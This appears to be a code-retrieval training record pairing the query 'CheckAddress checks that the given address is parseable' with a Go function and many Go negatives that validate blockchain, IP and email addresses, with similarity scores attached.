[ "0.61177963", "0.5832482", "0.57181966", "0.5706132", "0.5706132", "0.5706132", "0.5656647", "0.5644319", "0.5522349", "0.5500901", "0.54408896", "0.541953", "0.541953", "0.541953", "0.5394614", "0.53199697", "0.5279201", "0.51935375", "0.5188278", "0.5163428", "0.51587594", "0.5139875", "0.51351315", "0.51329106", "0.5125959", "0.5125959", "0.51142204", "0.5098483", "0.5082461", "0.5074755", "0.5070554", "0.50624573", "0.5061389", "0.50593996", "0.5059291", "0.5051479", "0.5047674", "0.50451195", "0.503892", "0.50340486", "0.50253975", "0.50092286", "0.5007909", "0.4987463", "0.49817938", "0.4974432", "0.49632743", "0.49628553", "0.4950383", "0.49176088", "0.49164316", "0.49078274", "0.488436", "0.4881492", "0.4870221", "0.48671052", "0.48659825", "0.48628733", "0.48624697", "0.48509717", "0.4850747", "0.4848659", "0.48478442", "0.48469347", "0.4843887", "0.48380116", "0.4832857", "0.4830633", "0.48153278", "0.48146647", "0.48101994", "0.48018473", "0.4786919", "0.47843346", "0.47834545", "0.47643602", "0.47633648", "0.47608942", "0.47538885", "0.47518352", "0.4739489", "0.4738233", "0.4733429", "0.47315133", "0.4731156", "0.47225884", "0.4715324", "0.47121227", "0.47087803", "0.46881753", "0.4682811", "0.4678424", "0.46760228", "0.46733987", "0.46671787", "0.4659387", "0.46492684", "0.46437234", "0.4641958", "0.46403462" ]
0.5507271
9
CheckAddress checks that the given address is parseable.
func (dcr *DCRBackend) CheckAddress(addr string) bool { _, err := dcrutil.DecodeAddress(addr, chainParams) return err == nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (s *Setting) CheckAddress(adr string, hasPort, isEmptyHost bool) error {\n\tif strings.HasSuffix(adr, \".onion\") {\n\t\tif s.UseTor {\n\t\t\treturn nil\n\t\t}\n\t\treturn ErrTorAddress\n\t}\n\th, p, err2 := net.SplitHostPort(adr)\n\tif err2 != nil && hasPort {\n\t\treturn err2\n\t}\n\tif err2 == nil && !hasPort {\n\t\treturn errors.New(\"should not have port number\")\n\t}\n\tif hasPort {\n\t\tpo, err := strconv.Atoi(p)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif po > 0xffff || po <= 0 {\n\t\t\treturn errors.New(\"illegal port number\")\n\t\t}\n\t\tadr = h\n\t}\n\tif adr == \"\" {\n\t\tif !isEmptyHost {\n\t\t\treturn errors.New(\"empty host name\")\n\t\t}\n\t\treturn nil\n\t}\n\t_, err2 = net.LookupIP(adr)\n\treturn err2\n}", "func ValidateAddress(cfg *setting.Setting, adrstr string) error {\n\t_, isNode, err := address.ParseAddress58(cfg.Config, adrstr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif isNode {\n\t\treturn errors.New(\"the address is not valid\")\n\t}\n\treturn nil\n}", "func IsValidAddress(iaddress interface{}) bool {\n\tre := regexp.MustCompile(\"^0x[0-9a-fA-F]{40}$\")\n\tswitch v := iaddress.(type) {\n\tcase string:\n\t\treturn re.MatchString(v)\n\tcase common.Address:\n\t\treturn re.MatchString(v.Hex())\n\tdefault:\n\t\treturn false\n\t}\n}", "func (eth *Backend) CheckAddress(addr string) bool {\n\treturn common.IsHexAddress(addr)\n}", "func (v *Bitcoin) ValidateAddress(addr string, network NetworkType) *Result {\n\tif addrType := NormalAddrType(v, addr, network); addrType != Unknown {\n\t\treturn &Result{Success, true, addrType, \"\"}\n\t}\n\n\tif addrType := SegwitAddrType(v, addr, network); addrType != Unknown {\n\t\treturn &Result{Success, true, addrType, \"\"}\n\t}\n\n\treturn &Result{Success, false, Unknown, \"\"}\n}", "func ValidateAddress(address string) error {\n\tif !eth.IsHexAddress(address) || !re.MatchString(address) {\n\t\treturn errors.Errorf(\"invalid hex address\")\n\t}\n\treturn nil\n}", "func (v *BitcoinGold) ValidateAddress(addr string, network NetworkType) *Result {\n\tif addrType := NormalAddrType(v, addr, network); addrType != Unknown {\n\t\treturn &Result{Success, true, addrType, \"\"}\n\t}\n\n\treturn &Result{Success, false, Unknown, \"\"}\n}", "func ValidateAddress(address string) bool {\n\tpubKeyHash := Base58Decode([]byte(address))\n\tactualChecksum := pubKeyHash[len(pubKeyHash)-addressChecksumLen:]\n\tversion := pubKeyHash[0]\n\tpubKeyHash = pubKeyHash[1 : len(pubKeyHash)-addressChecksumLen]\n\ttargetChecksum := checksum(append([]byte{version}, pubKeyHash...))\n\n\treturn bytes.Compare(actualChecksum, targetChecksum) == 0\n}", "func ValidateAddress(ipPort string, allowLocalhost bool) bool {\n\tipPort = whitespaceFilter.ReplaceAllString(ipPort, \"\")\n\tpts := strings.Split(ipPort, \":\")\n\tif len(pts) != 2 {\n\t\treturn false\n\t}\n\n\tip := net.ParseIP(pts[0])\n\tif ip == nil {\n\t\treturn false\n\t} else if ip.IsLoopback() {\n\t\tif !allowLocalhost {\n\t\t\treturn false\n\t\t}\n\t} else if !ip.IsGlobalUnicast() {\n\t\treturn false\n\t}\n\n\tport, err := strconv.ParseUint(pts[1], 10, 16)\n\tif err != nil || port < 1024 {\n\t\treturn false\n\t}\n\n\treturn true\n}", "func IsValidAddress(iaddress string) bool {\n\tre := regexp.MustCompile(\"^0x[0-9a-fA-F]{40}$\")\n\treturn re.MatchString(iaddress)\n}", "func ValidateAddress(address string) bool {\n\tpubHash := DecodeBase58(address)\n\tactualChecksum := pubHash[len(pubHash)-addressChecksumLen:]\n\tversion := pubHash[0]\n\tpubKeyHash := pubHash[1 : len(pubHash)-addressChecksumLen]\n\tnewChecksum := checksum(append([]byte{version}, pubKeyHash...))\n\treturn bytes.Compare(actualChecksum, newChecksum) == 0\n}", "func ValidateAddress(address string) bool {\n\tdecoded := Base58Decode([]byte(address))\n\tif len(decoded) == 0 {\n\t\tlog.Println(\"invalid address\")\n\t\treturn false\n\t}\n\n\tversion := decoded[:1]\n\tpubKeyHash := decoded[1 : len(decoded)-checksumLen]\n\tactualChecksum := decoded[len(decoded)-checksumLen:]\n\n\ttargetChecksum := checksum(append(version, pubKeyHash...))\n\n\treturn bytes.Equal(actualChecksum, targetChecksum)\n}", "func ValidateAddress(address string) error {\n\t// TODO: this list is not extensive and needs to be changed once we allow DNS\n\t// names for external metrics endpoints\n\tconst invalidChars = `abcdefghijklmnopqrstuvwxyz/\\ `\n\n\taddress = strings.ToLower(address)\n\tif strings.ContainsAny(address, invalidChars) {\n\t\treturn errors.New(\"invalid character detected (required format: <IP>:<PORT>)\")\n\t}\n\n\t// \tcheck if port if specified\n\tif !strings.Contains(address, \":\") {\n\t\treturn errors.New(\"no port specified\")\n\t}\n\n\th, p, err := net.SplitHostPort(address)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif h == \"\" {\n\t\treturn errors.New(\"no IP listen address specified\")\n\t}\n\n\tif p == \"\" {\n\t\treturn errors.New(\"no port specified\")\n\t}\n\n\treturn nil\n}", "func ValidateAddress(address string) error {\n\tif !common.IsHexAddress(address) {\n\t\treturn sdkerrors.Wrapf(\n\t\t\tsdkerrors.ErrInvalidAddress, \"address '%s' is not a valid ethereum hex address\",\n\t\t\taddress,\n\t\t)\n\t}\n\treturn nil\n}", "func (wAPI WalletAPI) ValidateAddress(address string) (*AddressInfo, error) {\n\tvar data AddressInfo\n\t_, raw, err := wAPI.sendRequest(\n\t\t\"POST\",\n\t\twAPI.Host+\":\"+wAPI.Port+\"/addresses/validate\",\n\t\tmakeJSONString(map[string]interface{}{\n\t\t\t\"address\": address,\n\t\t}),\n\t)\n\n\tif err == nil {\n\t\terr = json.Unmarshal(*raw, &data)\n\t}\n\n\treturn &data, err\n}", "func (p *PinpointSMS) ValidateAddress(to string) error {\n\tif !reNum.MatchString(to) {\n\t\treturn errors.New(\"invalid mobile number\")\n\t}\n\treturn nil\n}", "func IsAddress(a string) bool {\n\tif len(a) > 0 && a[:3] == string(binary.PrefixAccountPubkey) {\n\t\treturn true\n\t}\n\treturn false\n}", "func isValidAddress(addr int64) bool {\n\tif addr >= 0 && addr%getBinaryNodeSize() == 0 {\n\t\treturn true\n\t}\n\treturn false\n}", "func checkAddressValidity(addrs []string, params *chaincfg.Params) error {\n\tfor _, addr := range addrs {\n\t\t_, err := btcutil.DecodeAddress(addr, params)\n\t\tif err != nil {\n\t\t\treturn &btcjson.RPCError{\n\t\t\t\tCode: btcjson.ErrRPCInvalidAddressOrKey,\n\t\t\t\tMessage: fmt.Sprintf(\"Invalid address or key: %v\",\n\t\t\t\t\taddr),\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func (b *Bitcoind) ValidateAddress(address string) (va ValidateAddressResponse, err error) {\n\tr, err := b.client.call(\"validateaddress\", []interface{}{address})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &va)\n\treturn\n}", "func ParseAddress(tp string) error {\n\t// check source\n\tif tp == conf.TypeDump || tp == conf.TypeSync || tp == conf.TypeRump {\n\t\tif err := parseAddress(tp, conf.Options.SourceAddress, conf.Options.SourceType, true); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif len(conf.Options.SourceAddressList) == 0 {\n\t\t\treturn fmt.Errorf(\"source address shouldn't be empty when type in {dump, sync, rump}\")\n\t\t}\n\t}\n\n\t// check target\n\tif tp == conf.TypeRestore || tp == conf.TypeSync || tp == conf.TypeRump {\n\t\tif err := parseAddress(tp, conf.Options.TargetAddress, conf.Options.TargetType, false); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif len(conf.Options.TargetAddressList) == 0 {\n\t\t\treturn fmt.Errorf(\"target address shouldn't be empty when type in {restore, sync, rump}\")\n\t\t}\n\t}\n\n\treturn nil\n}", "func IsValidAddress(addr int64) bool {\n\tif addr >= 0 && addr%752 == 0 {\n\t\treturn true\n\t}\n\treturn false\n}", "func TestCheckAddress(t *testing.T) {\n\tbtc := &Backend{\n\t\tchainParams: &chaincfg.MainNetParams,\n\t}\n\ttype test struct {\n\t\taddr string\n\t\twantErr bool\n\t}\n\ttests := []test{\n\t\t{\"\", true},\n\t\t{\"18Zpft83eov56iESWuPpV8XFLJ1b8gMZy7\", false}, // p2pk\n\t\t{\"3GD2fSQxhkXDAW66i6JBwCqhLFSvhMNrtJ\", false}, // p2pkh\n\t\t{\"03aab68960ac1cc2a4151e40c530fcf32284afaed0cebbaec98500c8f3c491d50b\", false}, // p2sh\n\t\t{\"bc1qq3wc0u7x0nezw3hfjkh45ffk09gm4ghl0k7dwe\", false}, // p2wpkh\n\t\t{\"bc1qdn28r3yr790mjzadkd79sgdkm92jdfq6j5zxsz6w0j9hvwsmr4ys7yn244\", false}, // p2wskh\n\t\t{\"28Zpft83eov56iESWuPpV8XFLJ1b8gMZy7\", true}, // wrong network\n\t\t{\"3GD2fSQxhkXDAW66i6JBwCqhLFSvhMNrtO\", true}, // capital letter O not base 58\n\t\t{\"3GD2fSQx\", true},\n\t}\n\tfor _, test := range tests {\n\t\tif btc.CheckAddress(test.addr) != !test.wantErr {\n\t\t\tt.Fatalf(\"wantErr = %t, address = %s\", test.wantErr, test.addr)\n\t\t}\n\t}\n}", "func IsValidContractAddress(address string) bool {\n\treturn common.IsHexAddress(address)\n}", "func (m *Address) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCity(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDistrict(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStreet(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateStreetnumber(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateZipcode(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (a API) ValidateAddress(cmd *btcjson.ValidateAddressCmd) (e error) {\n\tRPCHandlers[\"validateaddress\"].Call <-API{a.Ch, cmd, nil}\n\treturn\n}", "func ParseAddress(address string) (*Address, errors.TracerError) {\n\taddr := &Address{}\n\tif ValidateIPv6Address(address) {\n\t\tclean, testPort := cleanIPv6(address)\n\t\thasPort := false\n\t\tport := 0\n\t\tif testPort > 0 {\n\t\t\thasPort = true\n\t\t\tport = testPort\n\t\t}\n\t\treturn &Address{Host: clean, Port: port, IsIPv6: true, HasPort: hasPort}, nil\n\t}\n\tcolons := strings.Count(address, \":\")\n\tif colons > 1 {\n\t\treturn nil, errors.New(\"Invalid address: too many colons '%s'\", address)\n\t} else if colons == 0 {\n\t\treturn &Address{Host: address, HasPort: false}, nil\n\t}\n\tsplit := strings.Split(address, \":\")\n\taddr.Host = split[0]\n\tport, err := strconv.Atoi(split[1])\n\tif err != nil {\n\t\treturn nil, errors.New(\"address '%s' is invalid: could not parse port data, %s\", address, err)\n\t}\n\tif port <= 0 || port > math.MaxUint16 {\n\t\treturn nil, errors.New(\"port '%d' is not a valid port number, must be uint16\", port)\n\t}\n\taddr.Port = port\n\taddr.HasPort = true\n\treturn addr, nil\n}", "func IsHexAddress(s string) bool {\n\tif HasHexPrefix(s) {\n\t\ts = s[2:]\n\t}\n\treturn len(s) == 2*AddressLength && IsHex(s)\n}", "func checkCoinAddress(c currency.Currency, address string, testnet bool) (string, error) {\n\tif \"\" == address {\n\t\treturn \"\", fault.CurrencyAddressIsRequired\n\t}\n\terr := c.ValidateAddress(address, testnet)\n\treturn address, err\n}", "func (a *ChainAdaptor) ValidAddress(req *proto.ValidAddressRequest) (*proto.ValidAddressReply, error) {\n\taddress, err := btcutil.DecodeAddress(req.Address, a.getClient().GetNetwork())\n\tif err != nil {\n\t\treturn &proto.ValidAddressReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\tif !address.IsForNet(a.getClient().GetNetwork()) {\n\t\terr := errors.New(\"address is not valid for this network\")\n\t\treturn &proto.ValidAddressReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\treturn &proto.ValidAddressReply{\n\t\tCode: proto.ReturnCode_SUCCESS,\n\t\tValid: true,\n\t\tCanWithdrawal: true,\n\t\tCanonicalAddress: address.String(),\n\t}, nil\n}", "func ParseAddress(address string) (common.Address, error) {\n\tif common.IsHexAddress(address) {\n\t\treturn common.HexToAddress(address), nil\n\t}\n\treturn common.Address{}, fmt.Errorf(\"invalid address: %v\", address)\n}", "func (i *TestITP) CheckFromAddress(ctx context.Context, c *InboundConnection, address *AddressString) (*ICResponse, error) {\n\treturn i.r, i.err\n}", "func CheckIPv4Addr(addr string) error {\n\tif IsEmptyString(&addr) {\n\t\treturn errors.New(\"addr is empty\")\n\t}\n\n\tstrArray := strings.Split(addr, \":\")\n\n\tif len(strArray) != 2 {\n\t\treturn errors.New(\"Invalid addr:\" + addr)\n\t}\n\n\tif IsEmptyString(&strArray[0]) {\n\t\treturn errors.New(\"Invalid addr:\" + addr)\n\t}\n\n\tif IsEmptyString(&strArray[1]) {\n\t\treturn errors.New(\"Invalid addr:\" + addr)\n\t}\n\n\tvar error error\n\n\tipv4 := strArray[0]\n\terror = CheckIPv4(ipv4)\n\tif error != nil {\n\t\treturn error\n\t}\n\n\tvar port int64\n\tport, error = strconv.ParseInt(strArray[1], 10, 64)\n\tif error != nil {\n\t\treturn error\n\t}\n\n\terror = CheckPort(port)\n\tif error != nil {\n\t\treturn error\n\t}\n\n\treturn nil\n}", "func CheckTCPAddress(address string) error {\n\thost, port, err := net.SplitHostPort(address)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"invalid host: %s\", address)\n\t}\n\n\tip := net.ParseIP(host)\n\tif ip == nil && host != \"\" {\n\t\treturn fmt.Errorf(\"invalid IP address: %#v\", host)\n\t}\n\n\tif err := CheckPort(port); err != nil {\n\t\treturn err\n\t}\n\treturn err\n}", "func (a *Access) Validate(address string) bool {\n\tdefer timings.Track(\"Access.Validate\", time.Now(), TimingOut)\n\tif address == \"\" {\n\t\treturn false\n\t}\n\n\tvar addr string\n\taparts := strings.Split(address, \":\")\n\taddr = aparts[0]\n\n\tip := net.ParseIP(addr)\n\tif ip == nil {\n\t\tDebugOut.Printf(\"Bad IP address '%s'\\n\", addr)\n\t\treturn false\n\t}\n\n\tfor _, aa := range a.allowAddresses {\n\t\tif aa.Equal(ip) {\n\t\t\tDebugOut.Printf(\"Explicitly allowed address '%s'\\n\", addr)\n\t\t\treturn true\n\t\t}\n\t}\n\tfor _, an := range a.allowNetworks {\n\t\tif an.Contains(ip) {\n\t\t\tDebugOut.Printf(\"Explicitly allowed network '%s'\\n\", addr)\n\t\t\treturn true\n\t\t}\n\t}\n\n\tfor _, da := range a.denyAddresses {\n\t\tif da.Equal(ip) {\n\t\t\tDebugOut.Printf(\"Explicitly denied address '%s'\\n\", addr)\n\t\t\treturn false\n\t\t}\n\t}\n\tfor _, dn := range a.denyNetworks {\n\t\tif dn.Contains(ip) {\n\t\t\tDebugOut.Printf(\"Explicitly denied network '%s'\\n\", addr)\n\t\t\treturn false\n\t\t}\n\t}\n\t// POST: Not explicitly Denied or Allowed\n\tif a.denyAll && !a.allowAll {\n\t\tDebugOut.Printf(\"Explicit denyAll, and no allow for '%s'\\n\", addr)\n\t\treturn false\n\t}\n\n\t// If we have allows, but no denies, assume we want to deny if we get here\n\tif (len(a.allowAddresses) > 0 || len(a.allowNetworks) > 0) && (len(a.denyAddresses) == 0 && len(a.denyNetworks) == 0) {\n\t\tDebugOut.Printf(\"Implicit denyAll, and no allow for '%s'\\n\", addr)\n\t\treturn false\n\t}\n\n\tDebugOut.Printf(\"Implicit allow for '%s'\\n\", addr)\n\treturn true\n}", "func (cc *combinedClient) ValidateAddress(ctx context.Context, address stdaddr.Address) (*walletjson.ValidateAddressWalletResult, error) {\n\treturn cc.walletClient.ValidateAddress(ctx, address)\n}", "func ParseAddress(s string) (Address, error) {\n\n\tvar family uint8\n\tvar sn uint64\n\tvar crcStr string\n\tcnt, err := fmt.Sscanf(s, \"%x.%x.%s\", &family, &sn, &crcStr)\n\n\tif (nil != err) || (3 != cnt) || (sn != (0xffffffffffff & sn)) {\n\t\treturn 0, errors.New(\"onewire: invalid address \" + s)\n\t}\n\ta := sn<<8 | (uint64(family) << 56)\n\n\tbuf := make([]byte, 8)\n\tbinary.LittleEndian.PutUint64(buf, sn<<8|(uint64(family)<<56))\n\n\tcrc := RevCrc8(buf[1:])\n\n\tif \"--\" != crcStr {\n\t\tvar c uint8\n\t\tcnt, err = fmt.Sscanf(crcStr, \"%x\", &c)\n\t\tif c != crc {\n\t\t\treturn 0, errors.New(\"onewire: invalid crc \" + s)\n\t\t}\n\t}\n\n\ta |= 0xff & uint64(crc)\n\n\treturn Address(a), nil\n}", "func CheckAddress(addr types.UnlockHash) (*api.ExplorerHashGET, error) {\n\tresp, err := RivineRequest(\"GET\", \"/explorer/hashes/\"+addr.String(), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, nil\n\t}\n\tbody := &api.ExplorerHashGET{}\n\terr = json.NewDecoder(resp.Body).Decode(body)\n\treturn body, err\n}", "func ParseAddress(addr string) (*Address, error) {\n\taddr = strings.ToUpper(addr)\n\tl := len(addr)\n\tif l < 50 {\n\t\treturn nil, InvalidAccountAddrError{reason: \"length\"}\n\t}\n\ti := l - 50 // start index of hex\n\n\tidh, err := hex.DecodeString(addr[i:])\n\tif err != nil {\n\t\treturn nil, InvalidAccountAddrError{reason: \"hex\"}\n\t}\n\n\t_addr := &Address{}\n\t_addr.Code = addr[0:i]\n\t_addr.Type = AccountType(idh[0])\n\t_addr.Hash = idh[1:]\n\n\tif err = _addr.Validate(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn _addr, nil\n}", "func (d *ChainDispatcher) ValidAddress(_ context.Context, req *proto.ValidAddressRequest) (*proto.ValidAddressReply, error) {\n\tresp := d.preHandler(req)\n\tif resp != nil {\n\t\treturn &proto.ValidAddressReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: config.UnsupportedChain,\n\t\t}, nil\n\t}\n\treturn d.registry[req.Chain].ValidAddress(req)\n}", "func MustParseAddress(addrStr string) (addr UnlockHash) {\n\tif err := addr.LoadString(addrStr); err != nil {\n\t\tpanic(err)\n\t}\n\treturn\n}", "func (o PublicDelegatedPrefixPublicDelegatedSubPrefixOutput) IsAddress() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v PublicDelegatedPrefixPublicDelegatedSubPrefix) *bool { return v.IsAddress }).(pulumi.BoolPtrOutput)\n}", "func (o PublicDelegatedPrefixPublicDelegatedSubPrefixResponseOutput) IsAddress() pulumi.BoolOutput {\n\treturn o.ApplyT(func(v PublicDelegatedPrefixPublicDelegatedSubPrefixResponse) bool { return v.IsAddress }).(pulumi.BoolOutput)\n}", "func validChallengeAddr(a string) bool {\n\t// TODO: flesh this out. parse a, make configurable, support\n\t// IPv6. Good enough for now.\n\treturn strings.HasPrefix(a, \"10.\") || strings.HasPrefix(a, \"192.168.\")\n}", "func ParseAddress(addr string) Address {\n\t// Handle IPv6 address in form as \"[2001:4860:0:2001::68]\"\n\tlenAddr := len(addr)\n\tif lenAddr > 0 && addr[0] == '[' && addr[lenAddr-1] == ']' {\n\t\taddr = addr[1 : lenAddr-1]\n\t}\n\taddr = strings.TrimSpace(addr)\n\n\tip := net.ParseIP(addr)\n\tif ip != nil {\n\t\treturn IPAddress(ip)\n\t}\n\treturn DomainAddress(addr)\n}", "func (me *Prometheus) checkAddr(addr string) bool {\n\tif !me.checkAddrs {\n\t\treturn true\n\t}\n\n\tif value, ok := me.cacheAddrs[addr]; ok {\n\t\treturn value\n\t}\n\n\taddr = strings.TrimPrefix(addr, \"http://\")\n\taddr = strings.Split(addr, \":\")[0]\n\n\tif me.allowAddrs != nil {\n\t\tfor _, a := range me.allowAddrs {\n\t\t\tif a == addr {\n\t\t\t\tme.cacheAddrs[addr] = true\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\tif me.allowAddrsRegex != nil {\n\t\tfor _, r := range me.allowAddrsRegex {\n\t\t\tif r.MatchString(addr) {\n\t\t\t\tme.cacheAddrs[addr] = true\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\tme.cacheAddrs[addr] = false\n\treturn false\n}", "func (b *Backend) ParseAddress(addr string) (err error) {\n\tif b.Addr, err = url.Parse(addr); err != nil {\n\t\treturn err\n\t}\n\n\tif b.Addr.Scheme == \"\" {\n\t\tb.Addr.Scheme = \"http\"\n\t}\n\n\thttps := b.Addr.Scheme == \"https\"\n\tb.Host = b.Addr.Host\n\n\tif b.Addr.Port() == \"\" {\n\t\tif https {\n\t\t\tb.Host += \":443\"\n\t\t} else {\n\t\t\tb.Host += \":80\"\n\t\t}\n\t}\n\n\treturn nil\n}", "func (u *UserProfile) addressCheck() error {\n\tif len(u.Addresses) == 0 {\n\t\treturn errors.New(\"UserProfile has no addresses\")\n\t}\n\treturn nil\n}", "func IsAddressPrivate(address string) (bool, error) {\n\n\tnetwork, err := ipNetFromString(address)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tfor _, s := range privateIPSpace {\n\t\t// predefined space\n\t\t_, subnet, _ := net.ParseCIDR(s) // nolint errcheck\n\n\t\tif subnet.Contains(network.IP) {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\n\treturn false, nil\n}", "func (mt *EasypostAddress) Validate() (err error) {\n\tif mt.ID == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"id\"))\n\t}\n\tif mt.Object == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`response`, \"object\"))\n\t}\n\n\tif ok := goa.ValidatePattern(`^adr_`, mt.ID); !ok {\n\t\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.id`, mt.ID, `^adr_`))\n\t}\n\tif !(mt.Mode == \"test\" || mt.Mode == \"production\") {\n\t\terr = goa.MergeErrors(err, goa.InvalidEnumValueError(`response.mode`, mt.Mode, []interface{}{\"test\", \"production\"}))\n\t}\n\tif ok := goa.ValidatePattern(`^Address$`, mt.Object); !ok {\n\t\terr = goa.MergeErrors(err, goa.InvalidPatternError(`response.object`, mt.Object, `^Address$`))\n\t}\n\treturn\n}", "func ValidateBitcoinAddress(address string) bool {\n\treturn validateBitcoinAddress(address) != -1\n}", "func Validate(address string) error {\r\n\tif !emailRegexp.MatchString(strings.TrimSpace(address)) {\r\n\t\treturn ErrInvalidAddress\r\n\t}\r\n\treturn nil\r\n}", "func TestAddress(t *testing.T) {\n addr, err := StringAddress(m_pub2)\n if err != nil {\n t.Errorf(\"%s should have been nil\",err.Error())\n }\n expected_addr := \"1AEg9dFEw29kMgaN4BNHALu7AzX5XUfzSU\"\n if addr != expected_addr {\n t.Errorf(\"\\n%s\\nshould be\\n%s\",addr,expected_addr)\n }\n}", "func (p *AddressParser) Parse(address string) (*Address, error)", "func (a API) ValidateAddressChk() (isNew bool) {\n\tselect {\n\tcase o := <-a.Ch.(chan ValidateAddressRes):\n\t\tif o.Err != nil {\n\t\t\ta.Result = o.Err\n\t\t} else {\n\t\t\ta.Result = o.Res\n\t\t}\n\t\tisNew = true\n\tdefault:\n\t}\n\treturn\n}", "func (c *Client) ValidateAddressT(address string) (*btcjson.ValidateAddressWalletResult, error) {\n\treturn c.ValidateAddressTAsync(address).Receive()\n}", "func ParseAddress(s string) (Address, error) {\n\tvar addr Address\n\terr := addr.parse(s)\n\treturn addr, err\n}", "func IsValidIPAddress(s string) bool {\n\tfor i := 0; i < len(s); i++ {\n\t\tswitch s[i] {\n\t\tcase '.':\n\t\t\treturn parseIPv4(s)\n\t\tcase ':':\n\t\t\treturn parseIPv6(s)\n\t\t}\n\t}\n\treturn false\n}", "func isEthereumAddress(fl FieldLevel) bool {\n\taddress := fl.Field().String()\n\n\treturn ethAddressRegex.MatchString(address)\n}", "func (p *Prefix) Validate(addr string) (ret bool) {\n\tip := net.ParseIP(addr)\n\tif ip == nil {\n\t\treturn false\n\t}\n\treturn p.net.Contains(ip)\n}", "func ParseAddress(address string) (*mail.Address, error)", "func ValidateIPAddressFormat(value string) (bool, error) {\n\tif value == \"\" {\n\t\treturn false, errors.New(\"empty\")\n\t}\n\tlist := strings.Split(value, \",\")\n\tfor _, s := range list {\n\t\ts = strings.Trim(s, \" \")\n\t\tif s == \"\" {\n\t\t\treturn false, errors.New(\"item empty\")\n\t\t}\n\t\tparts := strings.Split(s, \".\")\n\t\tif len(parts) != 4 {\n\t\t\treturn false, errors.New(\"parts count invalid\")\n\t\t}\n\t\tfor _, p := range parts {\n\t\t\tif p == \"\" || len(p) > 3 {\n\t\t\t\treturn false, errors.New(\"part length invalid\")\n\t\t\t} else if !IsNumericString(p) {\n\t\t\t\treturn false, errors.New(\"part not number\")\n\t\t\t}\n\t\t\tn, err := StringToInt(p)\n\t\t\tif err != nil {\n\t\t\t\treturn false, errors.New(\"part not number\")\n\t\t\t} else if n < 0 || n > 255 {\n\t\t\t\treturn false, errors.New(\"part range invalid\")\n\t\t\t}\n\t\t}\n\t}\n\treturn true, nil\n}", "func Check(address string, c chan<- CheckResult) error {\n\taddressParsed := emailVerifier.ParseAddress(address)\n\tif addressParsed.Valid {\n\t\tif res, err := emailVerifier.CheckSMTP(addressParsed.Domain, addressParsed.Username); err == nil {\n\t\t\tc <- CheckResult{\n\t\t\t\tAddress: address,\n\t\t\t\tDeliverable: res.Deliverable,\n\t\t\t\tFullInbox: res.FullInbox,\n\t\t\t\tDisabled: res.Disabled,\n\t\t\t\tError: nil,\n\t\t\t}\n\t\t} else {\n\t\t\tc <- CheckResult{\n\t\t\t\tAddress: address,\n\t\t\t\tError: err,\n\t\t\t}\n\t\t}\n\t} else {\n\t\tc <- CheckResult{\n\t\t\tAddress: address,\n\t\t\tError: errors.New(\"invalid address\"),\n\t\t}\n\t}\n\n\tif err := commons.IncrementProgressBar(); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func isKnownSingleAddress(address string) bool {\n\tknownIps := []string{\n\t\t\"54.149.21.90\",\n\t\t\"54.69.114.54\",\n\t\t\"52.25.122.31\",\n\t\t\"52.25.145.215\",\n\t\t\"52.26.192.160\",\n\t\t\"52.24.91.157\",\n\t\t\"52.27.126.9\",\n\t\t\"52.11.152.229\",\n\t}\n\n\tfor _, ip := range knownIps {\n\t\tif address == ip {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "func ParseAddress(addr interface{}) (a Address, err error) {\n\t// handle the allowed types\n\tswitch addrVal := addr.(type) {\n\tcase string: // simple string value\n\t\tif addrVal == \"\" {\n\t\t\terr = errors.New(\"Recipient.Address may not be empty\")\n\t\t} else {\n\t\t\ta.Email = addrVal\n\t\t}\n\n\tcase Address:\n\t\ta = addr.(Address)\n\n\tcase map[string]interface{}:\n\t\t// auto-parsed nested json object\n\t\tfor k, v := range addrVal {\n\t\t\tswitch vVal := v.(type) {\n\t\t\tcase string:\n\t\t\t\tif strings.EqualFold(k, \"name\") {\n\t\t\t\t\ta.Name = vVal\n\t\t\t\t} else if strings.EqualFold(k, \"email\") {\n\t\t\t\t\ta.Email = vVal\n\t\t\t\t} else if strings.EqualFold(k, \"header_to\") {\n\t\t\t\t\ta.HeaderTo = vVal\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\terr = errors.New(\"strings are required for all Recipient.Address values\")\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\tcase map[string]string:\n\t\t// user-provided json literal (convenience)\n\t\tfor k, v := range addrVal {\n\t\t\tif strings.EqualFold(k, \"name\") 